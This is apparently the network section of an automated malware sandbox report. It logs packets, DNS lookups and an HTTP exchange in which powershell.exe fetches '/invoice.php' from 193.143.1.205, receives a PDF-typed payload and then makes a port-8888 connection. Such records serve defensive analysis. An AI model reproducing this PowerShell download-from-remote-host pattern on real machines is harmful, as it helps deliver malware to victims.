Jan 11, 2025 08:03:55.792505026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792606115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792606115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792658091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792674065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792695999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792711020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792723894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792725086 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792740107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792756081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792769909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792773008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792773008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792784929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792800903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792815924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792932987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792932987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.793164015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.813976049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814003944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814016104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814029932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814109087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.814109087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.814172983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814210892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814224958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814239025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.814276934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814291954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814306974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814307928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.814322948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.814358950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.814373970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.814379930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.854629993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.856462955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856533051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856569052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856601954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856602907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.856635094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856667042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.856684923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856718063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856745005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.856766939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856800079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856832027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856884003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856914997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856946945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.856946945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.856946945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.856975079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.856980085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857022047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857055902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857072115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.857091904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857115030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.857122898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857155085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857186079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857208967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.857218981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857228041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.857249975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857285976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.857331038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882075071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882153988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882179976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882208109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882241011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882266998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882292986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882342100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882375956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882392883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882406950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882457018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882505894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882539034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882545948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882545948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882569075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882590055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882601023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882649899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882658005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882683992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882715940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882734060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882747889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882785082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882814884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882868052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882879972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882879972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.882916927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882950068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.882977962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883001089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883028030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883061886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883063078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883111000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883136988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883145094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883193016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883222103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883227110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883274078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883308887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883343935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883364916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883368015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883404970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883436918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883457899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883469105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883501053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883521080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883533955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883565903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883614063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883634090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883642912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883675098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883682966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883708000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883728027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883742094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883774042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883800983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883824110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883832932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883851051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883866072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883897066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883929014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883949995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883963108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.883985043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.883995056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884027958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884047031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.884059906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884092093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884111881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.884124041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884157896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884170055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.884191036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884223938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.884342909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.889092922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889117956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889133930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889147997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889163017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889187098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889202118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889215946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889230967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889245987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889409065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889425039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889441013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889455080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889470100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889483929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889497995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889518976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889533997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.889669895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.889673948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889692068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889715910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889730930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889753103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.889754057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889753103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.889769077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889782906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889797926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889816999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889828920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.889833927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.889853954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.890114069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.906723976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906764030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906786919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906811953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906826019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906841993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906847000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.906857014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906872034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.906888962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.907068968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.916551113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.948832989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.948865891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.948914051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.948932886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.948978901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.948985100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949021101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949033976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949053049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949071884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949105978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949156046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949158907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949189901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949220896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949269056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949270964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949318886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949352980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949367046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949387074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949403048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949419022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949454069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949486017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949493885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949513912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949537039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949547052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949579954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949598074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949613094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949645996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949667931 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.949677944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.949727058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974178076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974245071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974293947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974344015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974375963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974426031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974430084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974430084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974458933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974494934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974526882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974543095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974543095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974560022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974590063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974620104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974622011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974654913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974688053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974708080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974719048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974736929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974750042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974781990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974802971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.974831104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.974878073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.990436077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:56.581346989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:57.272274971 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:57.277326107 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:57.277457952 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:57.277664900 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:57.282485962 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:58.067626953 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:58.117791891 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:58.133507967 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:04:05.972067118 CET	58281	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:04:05.972067118 CET	192.168.2.6	1.1.1.1	0xae26	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:04:05.981625080 CET	1.1.1.1	192.168.2.6	0xae26	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:04:06.673559904 CET	1.1.1.1	192.168.2.6	0xf3c3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:04:06.673559904 CET	1.1.1.1	192.168.2.6	0xf3c3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:05:08.965004921 CET	1.1.1.1	192.168.2.6	0x6e3c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:05:08.965004921 CET	1.1.1.1	192.168.2.6	0x6e3c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:05:46.501290083 CET	1.1.1.1	192.168.2.6	0x6bb7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:05:46.501290083 CET	1.1.1.1	192.168.2.6	0x6bb7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	6712	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:03:54.442126036 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:03:55.226269007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:03:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 